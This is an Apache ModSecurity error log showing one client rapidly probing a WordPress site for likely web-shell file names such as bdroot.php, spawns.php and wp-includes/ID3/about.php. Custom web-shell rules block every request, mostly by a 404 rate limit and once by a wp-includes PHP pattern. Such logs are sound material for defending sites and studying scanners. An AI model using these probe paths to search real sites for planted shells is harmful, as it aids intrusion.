[Thu May 07 06:21:17.270045 2026] [:error] [pid 4539:tid 4543] [client 172.202.74.222:30178] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/white.php"] [unique_id "afu-3YPEZE1565sDGnw7rAAAAQI"]
[Thu May 07 06:21:17.690776 2026] [:error] [pid 4539:tid 4558] [client 172.202.74.222:30083] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/white.php"] [unique_id "afu-3YPEZE1565sDGnw7sgAAARE"]
[Thu May 07 06:21:18.102890 2026] [:error] [pid 29606:tid 29659] [client 172.202.74.222:30151] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bdroot.php"] [unique_id "afu-3hR5HjZ1PlSAiKttEAAAAFI"]
[Thu May 07 06:21:18.494002 2026] [:error] [pid 29607:tid 29684] [client 172.202.74.222:30112] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bdroot.php"] [unique_id "afu-3qbP7TJOAh7WSUN0mgAAAJA"]
[Thu May 07 06:21:18.957663 2026] [:error] [pid 29606:tid 29644] [client 172.202.74.222:30146] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bdroot.php"] [unique_id "afu-3hR5HjZ1PlSAiKttEgAAAEM"]
[Thu May 07 06:21:19.370683 2026] [:error] [pid 29607:tid 29679] [client 172.202.74.222:30174] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bdroot.php"] [unique_id "afu-36bP7TJOAh7WSUN0nQAAAIs"]
[Thu May 07 06:21:19.809623 2026] [:error] [pid 29607:tid 29680] [client 172.202.74.222:30130] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/olik.php"] [unique_id "afu-36bP7TJOAh7WSUN0oAAAAIw"]
[Thu May 07 06:21:20.223417 2026] [:error] [pid 4539:tid 4551] [client 172.202.74.222:30157] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/olik.php"] [unique_id "afu-4IPEZE1565sDGnw7ywAAAQo"]
[Thu May 07 06:21:20.637905 2026] [:error] [pid 29607:tid 29674] [client 172.202.74.222:30204] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/olik.php"] [unique_id "afu-4KbP7TJOAh7WSUN0owAAAIY"]
[Thu May 07 06:21:21.056573 2026] [:error] [pid 4539:tid 4553] [client 172.202.74.222:30080] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/olik.php"] [unique_id "afu-4YPEZE1565sDGnw70gAAAQw"]
[Thu May 07 06:21:21.475158 2026] [:error] [pid 4539:tid 4545] [client 172.202.74.222:30089] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h.php"] [unique_id "afu-4YPEZE1565sDGnw72AAAAQQ"]
[Thu May 07 06:21:21.866024 2026] [:error] [pid 4539:tid 4565] [client 172.202.74.222:30181] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h.php"] [unique_id "afu-4YPEZE1565sDGnw73QAAARg"]
[Thu May 07 06:21:22.309121 2026] [:error] [pid 29710:tid 29733] [client 172.202.74.222:30061] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h.php"] [unique_id "afu-4v0atTQld9Y2ht_tmAAAANU"]
[Thu May 07 06:21:22.723252 2026] [:error] [pid 29710:tid 29719] [client 172.202.74.222:30132] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h.php"] [unique_id "afu-4v0atTQld9Y2ht_tmQAAAMc"]
[Thu May 07 06:21:23.195670 2026] [:error] [pid 29607:tid 29686] [client 172.202.74.222:30190] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "afu-46bP7TJOAh7WSUN0qAAAAJI"]
[Thu May 07 06:21:23.774626 2026] [:error] [pid 29606:tid 29660] [client 172.202.74.222:30182] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "afu-4xR5HjZ1PlSAiKttFQAAAFM"]
[Thu May 07 06:21:24.219644 2026] [:error] [pid 29606:tid 29664] [client 172.202.74.222:30110] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "afu-5BR5HjZ1PlSAiKttGAAAAFc"]
[Thu May 07 06:21:24.601696 2026] [:error] [pid 29607:tid 29677] [client 172.202.74.222:30109] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "afu-5KbP7TJOAh7WSUN0qwAAAIk"]
[Thu May 07 06:21:25.038376 2026] [:error] [pid 29607:tid 29685] [client 172.202.74.222:30108] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/about.php"] [unique_id "afu-5abP7TJOAh7WSUN0rQAAAJE"]
[Thu May 07 06:21:25.427163 2026] [:error] [pid 29605:tid 29623] [client 172.202.74.222:30172] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/about.php"] [unique_id "afu-5YnxrTjETioEY0TqBAAAAAk"]
[Thu May 07 06:21:25.820966 2026] [:error] [pid 4539:tid 4565] [client 172.202.74.222:30177] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/about.php"] [unique_id "afu-5YPEZE1565sDGnw7-QAAARg"]
[Thu May 07 06:21:26.268544 2026] [:error] [pid 29710:tid 29734] [client 172.202.74.222:30072] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/about.php"] [unique_id "afu-5v0atTQld9Y2ht_tpwAAANY"]
[Thu May 07 06:21:26.716971 2026] [:error] [pid 29710:tid 29727] [client 172.202.74.222:30125] [client 172.202.74.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "afu-5v0atTQld9Y2ht_tqQAAAM8"]
[Thu May 07 06:21:27.097893 2026] [:error] [pid 4539:tid 4560] [client 172.202.74.222:30135] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxl.php"] [unique_id "afu-54PEZE1565sDGnw8AAAAARM"]
[Thu May 07 06:21:27.475355 2026] [:error] [pid 4539:tid 4559] [client 172.202.74.222:30203] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxl.php"] [unique_id "afu-54PEZE1565sDGnw8BQAAARI"]
[Thu May 07 06:21:27.868412 2026] [:error] [pid 29607:tid 29670] [client 172.202.74.222:30021] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxl.php"] [unique_id "afu-56bP7TJOAh7WSUN0rwAAAII"]
[Thu May 07 06:21:28.258219 2026] [:error] [pid 29606:tid 29647] [client 172.202.74.222:30105] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxml.php"] [unique_id "afu-6BR5HjZ1PlSAiKttHQAAAEY"]
[Thu May 07 06:21:28.740147 2026] [:error] [pid 4539:tid 4541] [client 172.202.74.222:30082] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxml.php"] [unique_id "afu-6IPEZE1565sDGnw8EwAAAQA"]
[Thu May 07 06:21:29.166990 2026] [:error] [pid 29607:tid 29692] [client 172.202.74.222:30199] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxml.php"] [unique_id "afu-6abP7TJOAh7WSUN0sAAAAJg"]
[Thu May 07 06:21:29.576873 2026] [:error] [pid 29710:tid 29717] [client 172.202.74.222:30075] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxml.php"] [unique_id "afu-6f0atTQld9Y2ht_ttAAAAMU"]
[Thu May 07 06:21:29.962256 2026] [:error] [pid 29710:tid 29735] [client 172.202.74.222:30160] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "afu-6f0atTQld9Y2ht_ttwAAANc"]
[Thu May 07 06:21:30.353334 2026] [:error] [pid 4539:tid 4562] [client 172.202.74.222:30085] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "afu-6oPEZE1565sDGnw8HwAAARU"]
[Thu May 07 06:21:30.747646 2026] [:error] [pid 29710:tid 29712] [client 172.202.74.222:30207] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "afu-6v0atTQld9Y2ht_tuwAAAMA"]
[Thu May 07 06:21:31.264682 2026] [:error] [pid 4539:tid 4542] [client 172.202.74.222:30041] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "afu-64PEZE1565sDGnw8KAAAAQE"]
[Thu May 07 06:21:31.732676 2026] [:error] [pid 4539:tid 4544] [client 172.202.74.222:30058] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "afu-64PEZE1565sDGnw8LQAAAQM"]
[Thu May 07 06:21:32.144274 2026] [:error] [pid 29607:tid 29682] [client 172.202.74.222:30119] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "afu-7KbP7TJOAh7WSUN0sgAAAI4"]
[Thu May 07 06:21:32.569743 2026] [:error] [pid 29710:tid 29736] [client 172.202.74.222:30133] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "afu-7P0atTQld9Y2ht_tvwAAANg"]
[Thu May 07 06:21:32.949126 2026] [:error] [pid 4539:tid 4553] [client 172.202.74.222:30201] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "afu-7IPEZE1565sDGnw8NwAAAQw"]
[Thu May 07 06:21:33.413709 2026] [:error] [pid 29710:tid 29734] [client 172.202.74.222:30054] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "afu-7f0atTQld9Y2ht_txgAAANY"]
[Thu May 07 06:21:33.808776 2026] [:error] [pid 29710:tid 29725] [client 172.202.74.222:30036] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "afu-7f0atTQld9Y2ht_txwAAAM0"]
[Thu May 07 06:21:34.226391 2026] [:error] [pid 29710:tid 29716] [client 172.202.74.222:30100] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "afu-7v0atTQld9Y2ht_tyAAAAMQ"]
[Thu May 07 06:21:34.637751 2026] [:error] [pid 29606:tid 29643] [client 172.202.74.222:30194] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "afu-7hR5HjZ1PlSAiKttIQAAAEI"]
[Thu May 07 06:21:35.096055 2026] [:error] [pid 29710:tid 29721] [client 172.202.74.222:30121] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "afu-7_0atTQld9Y2ht_tywAAAMk"]
[Thu May 07 06:21:35.497054 2026] [:error] [pid 29607:tid 29669] [client 172.202.74.222:30193] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "afu-76bP7TJOAh7WSUN0vAAAAIE"]
[Thu May 07 06:21:35.957156 2026] [:error] [pid 29607:tid 29678] [client 172.202.74.222:30052] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "afu-76bP7TJOAh7WSUN0vgAAAIo"]
[Thu May 07 06:21:36.368302 2026] [:error] [pid 29710:tid 29718] [client 172.202.74.222:30162] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "afu-8P0atTQld9Y2ht_t0QAAAMY"]
[Thu May 07 06:21:36.825462 2026] [:error] [pid 29607:tid 29671] [client 172.202.74.222:30195] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "afu-8KbP7TJOAh7WSUN0wwAAAIM"]
[Thu May 07 06:21:37.240608 2026] [:error] [pid 29605:tid 29629] [client 172.202.74.222:30126] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "afu-8YnxrTjETioEY0TqGAAAAA8"]
[Thu May 07 06:21:37.673665 2026] [:error] [pid 29607:tid 29688] [client 172.202.74.222:30103] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "afu-8abP7TJOAh7WSUN0yQAAAJQ"]
[Thu May 07 06:21:38.096611 2026] [:error] [pid 29605:tid 29628] [client 172.202.74.222:30070] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "afu-8onxrTjETioEY0TqGwAAAA4"]
[Thu May 07 06:21:38.542143 2026] [:error] [pid 29605:tid 29632] [client 172.202.74.222:30185] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "afu-8onxrTjETioEY0TqHQAAABI"]
[Thu May 07 06:21:38.933387 2026] [:error] [pid 29710:tid 29730] [client 172.202.74.222:30118] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "afu-8v0atTQld9Y2ht_t1gAAANI"]
[Thu May 07 06:21:39.384763 2026] [:error] [pid 29710:tid 29722] [client 172.202.74.222:30167] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "afu-8_0atTQld9Y2ht_t2AAAAMo"]
[Thu May 07 06:21:39.779784 2026] [:error] [pid 29606:tid 29647] [client 172.202.74.222:30059] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "afu-8xR5HjZ1PlSAiKttJwAAAEY"]
[Thu May 07 06:21:40.172773 2026] [:error] [pid 29607:tid 29668] [client 172.202.74.222:30081] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/configuration.php"] [unique_id "afu-9KbP7TJOAh7WSUN00AAAAIA"]
[Thu May 07 06:21:40.590730 2026] [:error] [pid 29607:tid 29681] [client 172.202.74.222:30187] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/configuration.php"] [unique_id "afu-9KbP7TJOAh7WSUN00gAAAI0"]
